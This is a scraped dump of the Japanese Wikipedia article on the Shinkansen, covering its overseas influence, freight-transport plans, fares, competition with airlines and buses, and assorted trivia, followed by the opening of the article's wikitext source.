"text": "アメリカ合衆国の北東部には、ワシントンD.C.、フィラデルフィア、ニューヨークシティ、ボストンなど名だたる大都市が連なり、メガロポリスと呼ばれる。それらの都市は1800年代に建設された北東回廊と呼ばれる幹線鉄道が結んでおり、その特性から同国で最も利用者の多い幹線鉄道路線となっている。この北東回廊のうち、ワシントンD.C.とニューヘイヴン間は1900年代前半に電化が完了、電気動力による高速運転が実現しており、1960年代後半には東海道新幹線の成功に影響された電車高速列車メトロライナーが登場。しかし、度重なる運営事業者の経営不振と再編により軌道保守へ十分な投資ができず、せっかくの高速列車の乗り心地を悪くさせ、速度を制限させる原因となっていた。その状況を打破すべく、1971年に民営企業より列車運行および線路保有権を引き継いだ全米旅客鉄道公社 (Amtrak) は北東回廊の軌道を強化させ、同時にメトロライナー電車よりも高速な列車の導入を決定。この一連の流れで、新幹線の成功を経験していた日本はこの計画に参加することとなり、軌道強化計画のほか、新幹線0系を基礎としつつもアメリカ合衆国の基準に適応させた専用車両の設計を行った。",
"title": "世界への影響"
},
{
"paragraph_id": 156,
"tag": "p",
"text": "この時期、二度にわたる石油危機などの影響で、折しも鉄道利用者が増加していたという背景も追い風となり、北東回廊の更新計画は北東回廊改良計画として1980年代に実を結んだ。しかし、最も重要な課題であった軌道強化には日本の技術が大いに活かされたものの、初の新幹線仕様車両の国外輸出として期待されていた専用車両の導入が実現することはなかった。",
"title": "世界への影響"
},
{
"paragraph_id": 157,
"tag": "p",
"text": "1970年代後半のアメリカ合衆国。同国の中西部に位置するオハイオ州では、州内の各都市を高速で結ぶ新たな鉄道を建設する話が盛り上がった。この当時、ほかに例を見ない高速鉄道として有名であった日本の新幹線はこの計画の恰好のモデルとなり、日本国鉄およびその関連機関はこの計画に対して様々な支援を行ったが、実現していない。",
"title": "世界への影響"
},
{
"paragraph_id": 158,
"tag": "p",
"text": "大韓民国の高速鉄道・\"KTX\"計画において、日本は新幹線方式(車両は300系電車を基礎としたもの)で入札に参加した。しかし、「反日感情」などの政治的な理由により、最終的にフランスのTGV方式の導入となった。",
"title": "世界への影響"
},
{
"paragraph_id": 159,
"tag": "p",
"text": "三菱グループを筆頭とした日本連合がスペインの高速鉄道、AVEの第一期区間(マドリード=セビージャ高速線)で運行される車両の入札に参加し、日本の新幹線100系を基礎とした車両を提案。ヨーロッパ各国の名だたるメーカーとの競争に勝ち、フランスのTGV、ドイツのICEとともに最終選考に進み、その中でも価格・経験の面でもっとも高い評価を得たが、スペインの欧州諸共同体(EC)への加盟などが影響し、フランスのTGVに敗れる結果となった。",
"title": "世界への影響"
},
{
"paragraph_id": 160,
"tag": "p",
"text": "1970年代、イラン政府は日本政府に対し、同国の首都テヘランと同国第二の規模を誇るマシュハドの間に新幹線の建設を行うように要請。実際に路線経路の計画や車両設計の準備などが行われたものの、1979年の革命で新幹線を要求していた政府が打倒されたことにより、計画ごと消滅した。",
"title": "世界への影響"
},
{
"paragraph_id": 161,
"tag": "p",
"text": "新幹線による貨物輸送は、最高速度や制動距離などの違いからダイヤグラム上で旅客列車と混在させることは現状では困難である。貨客混載での実証実験では積み替えの手間や輸送コストなどの問題が指摘されている。なお、約40年の時を経て同様のコンセプトを持つ列車が在来線でJR貨物M250系電車(スーパーレールカーゴ)として登場した。",
"title": "貨物輸送"
},
{
"paragraph_id": 162,
"tag": "p",
"text": "「貨物新幹線」は、東海道新幹線の建設時から東京-大阪間を5時間半で結ぶ夜行貨物列車の運行構想があった。1958年(昭和33年)に国鉄幹線調査会が答申し、国鉄の新幹線総局計画審議室などが検討をおこなった。",
"title": "貨物輸送"
},
{
"paragraph_id": 163,
"tag": "p",
"text": "計画を担当していた石井幸孝によると、国鉄では5トンコンテナの規格を新幹線の車両限界に合わせたサイズ(8×8×12フィート)とし、貨物取扱駅の用地買収を進め工事も開始したが、東海道新幹線の建設費がインフレの影響で当初の計画より二倍近くに膨れ上がったため計画を断念した。その後、貨物新幹線用地は東京貨物ターミナル駅や車両基地などに転用された。大阪貨物ターミナル駅の近くには未完成の高架施設が残っていたが、2013年から順次撤去工事が進められている。",
"title": "貨物輸送"
},
{
"paragraph_id": 164,
"tag": "p",
"text": "東海道新幹線建設時の計画については、世界銀行から新幹線建設の資金を調達する際、貨物が鉄道輸送の主力となっていたアメリカの理解を得るためのダミー構想であったとの見方があるが、石井はこれを否定している。また、国鉄在籍時に東海道新幹線建設に従事した長尚は、高橋団吉著『新幹線を走らせた男 国鉄総裁十河信二物語』の「じつは、貨物新幹線を走らせる気は、最初からなかったのである。」という記述に対して「東海道新幹線の計画から開業後の暫くまで、国鉄の責任者・関係者は貨物輸送を真剣に考えていたことは、次のような幾つかの事実から間違いない」としている。",
"title": "貨物輸送"
},
{
"paragraph_id": 165,
"tag": "p",
"text": "JTBキャンブックス『幻の国鉄車両』 pp. 46 – 52 には、コンテナ電車他各種車両のメトリクスや編成図が掲載されている。",
"title": "貨物輸送"
},
{
"paragraph_id": 166,
"tag": "p",
"text": "石井は将来的には人口減少により旅客輸送の需要が減りダイヤに余裕が出来るため、最高速度を200km/h程度に抑えた夜行貨物列車が可能となると主張し、新型の導入で余剰となった旧型車両を改造してヤマト運輸のロールボックスパレットを搭載出来るようにした図面を公開している。",
"title": "貨物輸送"
},
{
"paragraph_id": 167,
"tag": "p",
"text": "山陽新幹線建設の際に「路線の有効長は、将来の貨物運行を考慮して500mとしている。」また、仁杉巌は「いずれ新幹線による貨物輸送をもとめる声も高くなってくるだろうと思いますが、そのときは、おそらく新幹線が関西よりももっとさきへのびたときではないかと考えられます。つまり、現在建設中の山陽新幹線が下関までのびたときとか、博多までのびたときとかです。」と記している。なお、泉幸夫貨物局長は、博多開業前に「東海道新幹線を作りましたときに、将来は貨物もコンテナ輸送をやるという前提がありました。昭和34年に登場した5トンコンテナも、今縦積みにすれば、新幹線で使えるようにできているわけです。しかし、その後、100キロ貨車が開発され、東京 - 大阪間は、8時間で走るようになりましたから新幹線の貨物輸送は将来博多まで延びたときに、検討するという感じだったのです。その博多開業時期も大体きまってきたわけですが、貨物局を中心に勉強しまして、100キロ程度を出せるコキ車を使うと、博多から東京までといっても、そう時間に大きな差があるわけでもないことと、新幹線で5トンコンテナを運んでみたところでフリークェンシーに富んだ輸送は必ずしも期待できないこと等から、現時点では新幹線による貨物輸送は原則として考えていないのです。」と述べている。",
"title": "貨物輸送"
},
{
"paragraph_id": 168,
"tag": "p",
"text": "東北・上越新幹線建設の際にも貨物輸送の可能性が検討されたが、迅速性を優先されるという物資の輸送では航空貨物との競合が避けられずしかも貨物シェア自体が小さいこともあって、基本規格は東海道・山陽新幹線に準じることとして将来の可能性を残す形で見送られた。",
"title": "貨物輸送"
},
{
"paragraph_id": 169,
"tag": "p",
"text": "1981年から、東海道新幹線で「レールゴーサービス」という小荷物などの運送がおこなわれていた。1982年には郵政省からの提案で、1985年頃には国鉄内から、これを拡大した郵便・貨物輸送が計画され、車両の設計図面まで存在していたが、いずれも実現しなかった。",
"title": "貨物輸送"
},
{
"paragraph_id": 170,
"tag": "p",
"text": "2005年(平成17年)から建設が始まった北海道新幹線は、青函トンネルとその前後の区間を在来線の貨物列車と共用するため、同区間では片道あたり新幹線・貨物それぞれ2本/時しか走らせることができないと予想されている。JR北海道ではこのボトルネックを緩和する方法の一つとして、在来線の貨車をそのまま搭載する専用列車(トレイン・オン・トレイン)の研究を行っていたが重量の問題から、E5系やH5系をベースにした貨物専用の新幹線車両の開発を検討している。",
"title": "貨物輸送"
},
{
"paragraph_id": 171,
"tag": "p",
"text": "2020年以降、新型コロナウイルス感染症の社会・経済的影響で、新幹線の利用が大幅に減少し減収が続いているため、JR旅客各社では新幹線による荷物輸送の事業化に乗り出している。これらは台車に乗せた荷物を使われていない座席と座席の間に置くなど、既存の客車をそのまま利用しているため大型の貨物には対応できず、常温輸送となるため梱包に手間がかかり、青森から大宮までホタテを輸送した例ではトラックの4 - 5倍のコストがかかるなど不利な点も多い。しかし高速ながら事故率の低さと定時性の高さがあるため、水産物や電子部品など特性にあった小荷物の高速輸送に使われている。",
"title": "貨物輸送"
},
{
"paragraph_id": 172,
"tag": "p",
"text": "JR東日本は、2017年から不定期で地域の特産品などを新幹線で運び駅ナカの見本市などで販売する取り組みを行ってきた。2018年には、日本郵便と共同で、宮城県で収穫された農産物を東北新幹線で東京駅まで輸送して、東京駅でのイベントで販売したり、2019年には、新潟県で水揚げされた海産物を上越新幹線で輸送し、品川駅の鮮魚店で販売したりする試みや、2020年には、弘前市で収穫されたトウモロコシを朝に新青森駅で積み込み、当日に東京駅で販売するなど小口の高速輸送の手段として検証が行われている。2020年10月からは仙台駅 - 東京駅間の輸送を定期化した。現在では駅ホームで積み込みが行われているが、作業スペースが狭く時間の制限もあるため、車両基地へ貨物を搬入し積み込みを行うなど効率化の試みもなされている。",
"title": "貨物輸送"
},
{
"paragraph_id": 173,
"tag": "p",
"text": "JR西日本も、JR東日本と連携して、北陸エリアの特産品などを北陸新幹線で首都圏に輸送する事業を拡大することを表明した。JR西日本は、JR九州とも連携して、山陽・九州新幹線を活用して九州の特産品などを関西へ輸送する実証実験を2021年2月から開始する。新大阪駅で荷物を降ろした後、在来線に積み替えて大阪や京都に輸送する貨物輸送の事業化を目指と発表した。2022年11月4日には客車による即日配送を行う特産品ブランドを「FRESH WEST」と命名し、19日から朝に鳥取県の境港市で水揚げされたズワイガニなどを米子駅から特急に乗せ、途中で新幹線に積み替えて新大阪駅へ輸送し駅ナカで販売する事業を開始した。",
"title": "貨物輸送"
},
{
"paragraph_id": 174,
"tag": "p",
"text": "JR北海道とJR九州も、それぞれ佐川急便と提携して宅配荷物を新幹線で輸送する事業を構想している。JR北海道では、北海道・本州間(新函館北斗駅 - 新青森駅)で客室内に宅配荷物を収納した専用ボックスを積載して輸送する方式で、早ければ2020年度内にも正式に事業化する予定。JR九州も、九州新幹線の博多駅 - 鹿児島中央駅間の上下で車内の余剰スペースに佐川急便の宅配便荷物を収納した専用ボックスを積載して輸送する貨客混載事業を2021年5月18日から開始し、また旧車販準備室を使用する荷物輸送サービス「はやっ!便」を同日に開始した。",
"title": "貨物輸送"
},
{
"paragraph_id": 175,
"tag": "p",
"text": "2021年1月8日、日本貨物鉄道(JR貨物)は、現在進行中の「JR貨物グループ中期経営計画2023」に続く長期計画として「JR貨物グループ長期ビジョン2030」を発表した。JR旅客各社と連携して「貨物新幹線」の検討を進め、期間中に実現したい考えを示した。「物流イノベーションや既存鉄道インフラの有効活用(人流・物流の一体化による鉄道事業の持続性向上)として貨物新幹線の検討を推進」という文言で、貨物新幹線の事業化に言及している。",
"title": "貨物輸送"
},
{
"paragraph_id": 176,
"tag": "p",
"text": "2022年、国土交通省は、深刻なトラックドライバー不足(2024年問題)や2050年までのカーボンニュートラル実現に向けた対応の必要性など、物流における諸課題の解決を図るため、「今後の鉄道物流のあり方に関する検討会」を設置した。7月28日に開かれた第5回の会合では、鉄道貨物の輸送量拡大やJR貨物の経営自立支援に向けた提言の中間とりまとめを行った。提言では「貨物鉄道の輸送モードとしての競争力強化」「貨物鉄道と他モードとの連携」「社会・荷主の意識改革」の3つの視点から14の課題を抽出した。貨物鉄道は、航空機やトラックと比べて、ドアツードアではリードタイムや輸送品質の面で十分に競争力がある輸送サービスを提供できていないが、新幹線の貨物輸送の拡大によって競争力を強化することを課題の1つに挙げている。新幹線は旅客輸送に特化する前提で整備されてきたが、近年は一部で貨客混載輸送が行われ、宅配便、鮮魚・鮮果、半導体といった付加価値の高い品目の輸送において、新たな市場を開拓しつつある。将来的に、新幹線の貨物専用車両による高頻度の大量高速輸送を実現できれば、日本の物流においてイノベーションを引き起こす可能性があり、新たな輸送ニーズや市場の開拓を通じた日本経済・地域経済の成長への貢献、航空機やトラックからのモーダルシフトによる地球環境への貢献の可能性も出てくる。一方で、大量輸送と高速走行を兼ね備えた車両の新規開発、積み替え技術の開発と必要な施設の整備、乗入れ区間、旅客列車とのダイヤ調整、安全確保のための方策、運行主体や費用負担など、多くの課題があることが指摘されている。国、JR貨物、JR旅客会社等の関係者による調査を行って課題を整理した上で、まずはJR貨物が中心となって、線路容量に余裕がある路線における走行を念頭に置いた、高速走行と大量輸送の両立が可能な貨物専用車両の導入の可能性を検討する必要があるとしている。",
"title": "貨物輸送"
},
{
"paragraph_id": 177,
"tag": "p",
"text": "新幹線の運賃は、並行在来線の営業キロを元に決められる。これは元来新幹線が並行在来線の別線増設として建設されたという歴史的経緯や、運賃計算の繁雑化を避けたことによるものである。詳しくは以下の通り。",
"title": "運賃・特急料金"
},
{
"paragraph_id": 178,
"tag": "p",
"text": "注:この節での(運賃・料金計算のための)「並行在来線」とは、東海道新幹線では東海道本線、山陽新幹線では東海道本線・山陽本線・鹿児島本線、東北新幹線の東京駅 - 盛岡駅間では東北本線、上越新幹線では(東北本線)・高崎線・上越線・信越本線、九州新幹線の博多駅 - 新八代駅間、川内駅 - 鹿児島中央駅間では鹿児島本線、西九州新幹線の諫早駅 - 長崎線間では長崎本線のこと。",
"title": "運賃・特急料金"
},
{
"paragraph_id": 179,
"tag": "p",
"text": "一方、新幹線と並行在来線とを完全に同一視すると旅客にとって不利になる場合を考慮して、以下のような例外がある。",
"title": "運賃・特急料金"
},
{
"paragraph_id": 180,
"tag": "p",
"text": "また山陽新幹線の新下関駅 - 小倉駅 - 博多駅間については、新幹線(JR西日本)と在来線(JR九州)とで管理する会社が異なることから、他の区間とは扱いが異なっている。",
"title": "運賃・特急料金"
},
{
"paragraph_id": 181,
"tag": "p",
"text": "詳しくは、旅客営業規則第16条の2、第16条の3および第16条の4を参照。",
"title": "運賃・特急料金"
},
{
"paragraph_id": 182,
"tag": "p",
"text": "新幹線(山形・秋田新幹線を除く)の特急料金は、乗車券や在来線の特急列車のような対キロ制ではなく、各駅の区間ごとに決められた、いわゆる三角表方式となっている。",
"title": "運賃・特急料金"
},
{
"paragraph_id": 183,
"tag": "p",
"text": "新幹線と在来線の乗り継ぎについては、一定の条件で在来線の特急・急行料金を半額に割り引く制度がある(乗継割引)。これは、新幹線が開業する前は1本の(特急等の)列車で済んでいたものが、開業したことによって複数の(新幹線と特急等の)列車に分割されることによる合計後の特急料金等の負担増を軽減することをそもそもの目的として設けられたものである。",
"title": "運賃・特急料金"
},
{
"paragraph_id": 184,
"tag": "p",
"text": "なお山形新幹線と秋田新幹線については、新在直通運転を行うため特殊な特急料金を設定している(「山形新幹線#運賃と特急料金」および「秋田新幹線#運賃と特急料金」を参照)。",
"title": "運賃・特急料金"
},
{
"paragraph_id": 185,
"tag": "p",
"text": "長距離輸送においては、従来から国内線との競合が続いていたが、航空会社の規制緩和による各種割引運賃の導入(早割、特割、激割など)や旅行業者と連携しての宿泊料金込みの格安プランの販売、および格安航空会社の参入等により、競争は一層激化している。",
"title": "営業上の競合など"
},
{
"paragraph_id": 186,
"tag": "p",
"text": "また、航空会社によるマイレージサービスの存在も大きく影響している。これは高頻度の利用客に対し通常より多いボーナスマイルや専用ラウンジの用意、渡航先宿泊の割引などの高いサービスを与えて優遇する制度であり、利用者の大きな支持を得ている。鉄道側でも、例えばエクスプレスカードの場合、会員に対しポイントシステムを開始しているが、そのサービス内容や、高頻度利用客への優遇サービスは格段に異なっている。",
"title": "営業上の競合など"
},
{
"paragraph_id": 187,
"tag": "p",
"text": "航空会社との対抗については、航空路線と競合する区間を中心に割引率の大きい特別企画乗車券の発売や、ビジネス客の多い東海道・山陽新幹線ではJR東海エクスプレス・カードとJ-WESTカード(エクスプレス)による「エクスプレス予約」、東北・山形・秋田・北海道・上越・北陸新幹線では「えきねっと」といった、運行会社自身の会員制インターネット予約による割引特急券の発売が行われている。とりわけ2006年(平成18年)の神戸空港や北九州空港の開港は、競合する東海道・山陽新幹線への影響が大きく、「エクスプレス予約」の山陽新幹線への拡大、N700系車両の共同開発など、それまで対立の多かったJR東海とJR西日本両社は連携を強化する体制に転換しつつある。一方、航空会社も東京 - 大阪間でのみ使える予約変更自由、航空会社選択自由のシャトル便往復割引を導入して迎え撃っているほか、羽田空港の滑走路増設による発着能力増強や、横田空域の一部返還により、更なる所要時間短縮による競争力強化が見込まれている。また、京浜急行電鉄や名古屋鉄道といった空港連絡鉄道路線を持つ鉄道各社との連携も行っている。",
"title": "営業上の競合など"
},
{
"paragraph_id": 188,
"tag": "p",
"text": "山陽新幹線においては、終点である博多駅と福岡空港がほぼ隣接している(地下鉄で2駅、5分前後)という特徴もあり、福岡 - 名古屋間では新幹線と航空会社との競争が非常に激化している。福岡 - 大阪間は従来競争が激しかったが、「ひかりレールスター」の登場などにより、鉄道側が優位に立っている。さらに2011年の山陽新幹線と九州新幹線の直通運転開始により、従来は航空側が優位であった大阪 - 熊本・鹿児島間でも、新幹線と航空会社との競争が激化し始めている。",
"title": "営業上の競合など"
},
{
"paragraph_id": 189,
"tag": "p",
"text": "また、2015年の北陸新幹線金沢延伸後は東京 - 金沢間でも新幹線と航空会社(小松空港発着)との競合が激化し始めている。",
"title": "営業上の競合など"
},
{
"paragraph_id": 190,
"tag": "p",
"text": "このように競合している一方で、新幹線が災害や事故などで運転を見合わせた場合などには、航空路は新幹線の代替交通機関としての機能も果たしている。",
"title": "営業上の競合など"
},
{
"paragraph_id": 191,
"tag": "p",
"text": "東海道新幹線の開業以来、新幹線と競合した私鉄特急としては、近畿日本鉄道(近鉄)、小田急電鉄、名古屋鉄道(名鉄)の特急があった。",
"title": "営業上の競合など"
},
{
"paragraph_id": 192,
"tag": "p",
"text": "私鉄特急はいずれの場合も、所要時間では新幹線と比較して大きく不利なので、割安な運賃・料金、駅の立地、車内の居住性などで対抗することになった。",
"title": "営業上の競合など"
},
{
"paragraph_id": 193,
"tag": "p",
"text": "国鉄時代、新幹線に並行する在来線特急と競合したものの、同一事業者よる運用として一般的には「競合」とはみなされていなかった。しかしながら、国鉄民営化後は新幹線と在来線特急が別会社によって運用されるケースが発生し、営業的にも競合関係となった。具体的な例は以下の通りである。",
"title": "営業上の競合など"
},
{
"paragraph_id": 194,
"tag": "p",
"text": "高速バスは「定時性・速度では劣るが、時間・経路・発着地の柔軟性と価格で優れている」という性質がある。 そのため、長距離区間では不利となるが、中距離区間や、大都市間を初めとする区間では、夜行バスで格安で移動できることから、高速道路の整備が進んだ1980年代ごろから人気となっている。また、都心部(東京の新宿や渋谷、名古屋の栄、大阪の梅田や難波、広島の紙屋町、福岡の天神など)やテーマパーク(TDRやUSJなど)に直接乗り入れており、新幹線駅間以外でも競合している。 しかし、上述のように性質が大きく異なるため、「速さを取るか、安さを取るか」という直接的な競合というよりは、発着地、所要時間といった利用者のニーズで使い分けられている。例えば、目的地が遠く、早朝に到着する必要がある場合は、より早い時間に到着する高速バスが有利となる。早朝から(あるいは夜間の)在来線特急との乗り継ぎを要する場合はさらに高速バスが有利となる。",
"title": "営業上の競合など"
},
{
"paragraph_id": 195,
"tag": "p",
"text": "その一方、在来線特急との乗り継ぎが現実的でない地域では、新幹線駅との接続に高速バスが用いられる場合もあり(B&Sみやざき等)、高速バスが競合ではなく補完の役割を担う場合もある。",
"title": "営業上の競合など"
},
{
"paragraph_id": 196,
"tag": "p",
"text": "新幹線の建設に関しては、その開業効果が大きいことから、沿線の利害に関係することとして建設時よりさまざまな政治介入がなされてきたといわれる。",
"title": "その他"
},
{
"paragraph_id": 197,
"tag": "p",
"text": "最も古い話では、東海道新幹線の建設時に起こった京都駅の設置是非をめぐる問題や、大野伴睦の介入による岐阜羽島駅の設置騒動がある。ただし岐阜羽島駅の設置には、関ヶ原の降雪対策という政治的な影響力とは別の理由もあり、政治力のみで設置されたわけではないと言われている。",
"title": "その他"
},
{
"paragraph_id": 198,
"tag": "p",
"text": "また逆に、一度は着工された駅新設が、その新設を争点とした選挙での県知事交代によって凍結に追い込まれた、滋賀県の南びわ湖駅の例もある。",
"title": "その他"
},
{
"paragraph_id": 199,
"tag": "p",
"text": "日本では、新幹線という単語がすでに高速鉄道そのものを意味する普通名詞と化しているため、報道などでは日本国外の高速鉄道についても国名を付けて「○○新幹線」「○○版新幹線」「○○の新幹線」と広く呼ばれている(例:TGVはフランス新幹線、ICEはドイツ新幹線、KTXは韓国新幹線、ロシア高速鉄道はロシア新幹線、台湾高鐵は台湾新幹線など)。",
"title": "その他"
},
{
"paragraph_id": 200,
"tag": "p",
"text": "しかし、日本の新幹線は車両・軌道・架線・信号 (ATC) などを総合した独自のシステムであり、ミニ新幹線を除けばヨーロッパのように在来線と相互乗り入れしているわけではなく、他の高速鉄道システムとは区別することがある。英語では、日本の新幹線は Shinkansen と表記されるように、新幹線とは日本の高速鉄道システムの固有の名称として取り扱っている。技術的には、他国の高速鉄道と異なり在来線とは独立したシステムとなっているのが特徴で、動力分散方式など独自性が強いのも特徴である。もっとも、車両が新幹線とほぼ同一であるなど仕様が近い台湾高鐵に関しては高雄捷運の日本語アナウンスなどで「台湾新幹線」と呼称している例も存在し、台湾高鐵の建設の際に機電システムを請け負った日本連合7社が設立した合弁会社は「台湾新幹線株式会社」と名乗っていた。",
"title": "その他"
},
{
"paragraph_id": 201,
"tag": "p",
"text": "山陽新幹線開通前に「夜行新幹線」も計画され、山陽新幹線技術基準調査委員会報告(1966年)では、東京から博多の間を一晩に計24本で運行した場合、片道平均5,000から7,000人の需要があると見込んでいた。新幹線の夜間運行は片側1路線を運用し、もう片側の路線は保守点検して運行するという計画であった。また当時は四国新幹線や中国横断新幹線の計画も含め衝突を避けて夜間運行を実現させるために姫路駅の新幹線13番ホームを待避線に、待避駅として西明石駅・相生駅が建設された。しかし名古屋新幹線訴訟などの新幹線の騒音問題が浮き彫りになったことや国鉄分割民営化で夜行新幹線の計画は実現しなかった。",
"title": "その他"
},
{
"paragraph_id": 202,
"tag": "p",
"text": "大規模なイベントにあわせて、臨時列車として夜行新幹線が運転されたことはある。2002 FIFAワールドカップの際には東海道新幹線・上越新幹線で深夜帯に臨時列車が運転された。2020年東京オリンピックでは、宮城スタジアムで行われるサッカー競技の試合に合わせ、東北新幹線の仙台駅 - 盛岡駅間、仙台駅 - 東京駅間で臨時の夜行新幹線を走らせる予定があったが、新型コロナウイルス感染症の流行拡大に伴い、宮城では有観客の開催となったものの、感染拡大防止の観点から夜行新幹線の運転は中止され幻となった。",
"title": "その他"
},
{
"paragraph_id": 203,
"tag": "p",
"text": "大阪産業大学工学部の波床正敏・井上喜裕らのように、新幹線の夜行運行の適用可能性を環境負荷と発着時間帯の観点から検討し、発着時間帯の設定自由度が従来の夜行列車より高く有望であるとする考えもある。",
"title": "その他"
},
{
"paragraph_id": 204,
"tag": "p",
"text": "新幹線については、異常時を除き午前0時から午前6時までの列車の運転を営業・非営業列車を問わず実施しておらず、保線作業のための時間に充てられている。このため、始発列車に使われる車両は、前日の深夜に整備済みの編成を車両基地から駅に回送し、そのまま夜間滞泊させる場合が多い。ただし、北海道新幹線の青函トンネル界隈の区間では、在来線と共用しており、在来線の貨物列車は午前0時から午前6時までの間にも運転されている。また、在来線に直通する山形新幹線及び秋田新幹線の在来線区間(福島駅 - 新庄駅間、盛岡駅 - 秋田駅間)では運行時間帯の制約がなく、この時間帯にも運転される列車がある。",
"title": "その他"
},
{
"paragraph_id": 205,
"tag": "p",
"text": "法律面では新幹線の営業主体を特定していないが、運営がJRグループに継承されている理由としては、",
"title": "その他"
},
{
"paragraph_id": 206,
"tag": "p",
"text": "ということが挙げられる。",
"title": "その他"
},
{
"paragraph_id": 207,
"tag": "p",
"text": "静岡県田方郡函南町には「新幹線」という地名が存在する。これは昭和30年代の新幹線計画にちなむものではなく、戦前の弾丸列車計画時代のものである。弾丸列車計画時代に新丹那トンネルの工事を行うための従業員宿舎が置かれた場所で、工事終了後に宿舎は撤去されたが、その後同地に住宅団地が建てられ「新幹線」という地区が生まれることとなった。この地区には新幹線公民館や「幹線下」という名のバス停も存在している。",
"title": "その他"
},
{
"paragraph_id": 208,
"tag": "p",
"text": "東京都国分寺市の鉄道総合技術研究所のある場所の地名は「光町」である。国分寺市が1966年に町名整理を行った際、同研究所での新幹線開発と1964年の東海道新幹線開業を記念し、列車愛称「ひかり」にちなんで旧地名の平兵衛新田から改称したものである。由緒ある旧地名のため研究所は地元市民との交流の機会にもなっている一般公開を「平兵衛まつり」と名付けている。",
"title": "その他"
},
{
"paragraph_id": 209,
"tag": "p",
"text": "鉄道路線ではなく、送電線の名称に「新幹線」と付けられたものがある。例として、猪苗代新幹線・飛騨新幹線等があり、いずれも東海道新幹線が開通する1964年(昭和39年)よりはるか以前の大正末期から昭和初期に開通しており、「新幹線」の語を最初に使ったのは旧国鉄ではなく電力会社である。",
"title": "その他"
},
{
"paragraph_id": 210,
"tag": "p",
"text": "新幹線が走っていない四国旅客鉄道(JR四国)では、2014年より予土線でキハ32形気動車を改造した“新幹線風の”車両「鉄道ホビートレイン」が走っている。非電化区間を走行するために、モーターではなく、ディーゼルエンジンを動力にしている。車内には0系風の転換座席を2脚設置したほか鉄道模型も展示されている。また、汽笛は新幹線のものと同じ音が鳴る。",
"title": "その他"
},
{
"paragraph_id": 211,
"tag": "p",
"text": "東北新幹線の八戸駅 - 新青森駅間開通(2010年12月4日)、および九州新幹線の博多駅 - 新八代駅間開通(2011年3月12日)に合わせて、北海道旅客鉄道(JR北海道)・四国旅客鉄道(JR四国)も含むJRグループ旅客6社共同企画として、2010年12月15日より2011年3月31日まで『THE 新幹線』キャンペーンが行われた。キャッチフレーズは「日本とともに、走り続ける夢がある」。期間中は、新幹線の駅などをチェックポイントとし、携帯電話のGPS機能を活用したモバイルラリー「“THE 新幹線”ポイントラリー『日本列島縦断 チャレンジ新幹線!』」や、JRグループの鉄道・旅行情報サイト「トレたび」でのスペシャルサイトの開設などが行われた。",
"title": "キャンペーン"
}
]
| 新幹線は、主たる区間を列車が時速200キロメートル (km/h) 以上の高速度で走行できる日本の幹線鉄道。 「高速鉄道」のコンセプトを世界に広めた存在であり、速度・輸送力(座席数)・安全性において世界の高速鉄道の先駆けとなる存在である。 | {{Redirect|ブレットトレイン|2022年公開のアメリカ合衆国の映画|ブレット・トレイン}}
{{Otheruses||[[サンリオ]]による男児向け[[サンリオキャラクター|キャラクター]]|[[しんかんせん]]}}
{{Infobox 公共交通機関
|名称=新幹線
|国={{JPN}}
|種類=[[高速鉄道]]
|開業=[[1964年]][[10月1日]]
|所有者=
;国鉄時代の開業路線、ミニ新幹線:[[JR]]各社<ref group="注">ただし山形新幹線の施設の一部は[[山形ジェイアール直行特急保有]]が所有していた。 </ref>
;整備新幹線:[[鉄道建設・運輸施設整備支援機構]]
|運営者=JR各社(詳細は[[#路線|路線]]節を参照)
|総延長距離=フル規格: 2,830 km<br />ミニ新幹線 :276 km<br />在来線扱い: 10 km
|路線数=フル規格: 8路線<br />ミニ新幹線: 2路線<br />在来線扱い: 2路線
|駅数=114(ミニ新幹線、在来線扱いを含む)
|軌間=1,435 mm
|電化方式=[[交流電化|交流]]25,000 [[ボルト (単位)|V]] [[架空電車線方式]](東北、上越、北海道は50 [[ヘルツ (単位)|Hz]]。東海道、山陽、九州は60 Hz。北陸は50 Hzと60 Hzの区間が混在)<br />交流20,000 V 50 Hz 架空電車線方式(山形、秋田)
|最高速度=320 km/h(東北新幹線の一部区間。詳細は[[#定義|定義]]節を参照)
|通行方向 = 左側通行
|路線図 = Shinkansen map 201703 ja.png
|備考=
}}
[[File:JR East Shinkansen lineup at Niigata Depot 201210.jpg|thumb|280px|[[東北新幹線|東北]]・[[上越新幹線|上越]]・[[秋田新幹線|秋田]]・[[北陸新幹線]]の車両。<br />左から[[新幹線E5系電車|E5系]]、[[新幹線200系電車|200系]]、[[新幹線E4系電車|E4系]]、[[新幹線E2系電車|E2系]]、[[新幹線E3系電車|E3系]]、[[新幹線E926形電車|E926形]]、[[新幹線E1系電車|E1系]]]]
[[File:Shinkansen0-n700.jpg|thumb|280px|東海道・山陽新幹線歴代車両。左から[[新幹線100系電車|100系]]、0系、[[新幹線N700系電車|N700系]]、300系、[[ひかりレールスター|700系E編成]]、[[新幹線500系電車|500系]]、300系]]
'''新幹線'''(しんかんせん、{{Lang-en-short|Shinkansen}})は、主たる区間を[[列車]]が[[時速]]200キロメートル ([[キロメートル毎時|km/h]]) 以上の高速度で走行できる[[日本]]の[[幹線]][[鉄道]]<ref>{{Egov law|345AC1000000071#11|全国新幹線鉄道整備法(昭和45年法律第71号)第3条}}</ref>。
「[[高速鉄道]]」のコンセプトを世界に広めた存在であり、速度・輸送力(座席数)・安全性において世界の高速鉄道の先駆けとなる存在である<ref>{{Cite web|url=https://www.cnn.co.jp/travel/35182816-2.html|title=翼なしで飛ぶような速さ、世界最速の列車10選|website=[[CNN|CNN.co.jp]]|date=2022-01-31|accessdate=2022-09-07}}</ref>。
{{toclimit|3}}
== 概要 ==
[[日本国有鉄道]](国鉄)が[[1964年]](昭和39年)[[10月1日]]に[[東海道本線]]の線路容量ひっ迫対策として、[[東京駅]] - [[新大阪駅]]間の線増区間として開業した[[東海道新幹線]]を端緒とする。その後国鉄時代には[[山陽本線]]の線増区間として建設された[[山陽新幹線]]の開業を経て、[[全国新幹線鉄道整備法]]に基づく[[建設を開始すべき新幹線鉄道の路線を定める基本計画|基本計画]]を根拠として[[東北新幹線|東北]]・[[上越新幹線|上越]]の各新幹線が開業した。[[国鉄分割民営化]]により国鉄の事業が[[JR]]に移行した後は、[[北陸新幹線|北陸]]<ref group="注" name="Nagano-Hokuriku">1997年(平成9年)10月1日の開業当初は東京駅 - 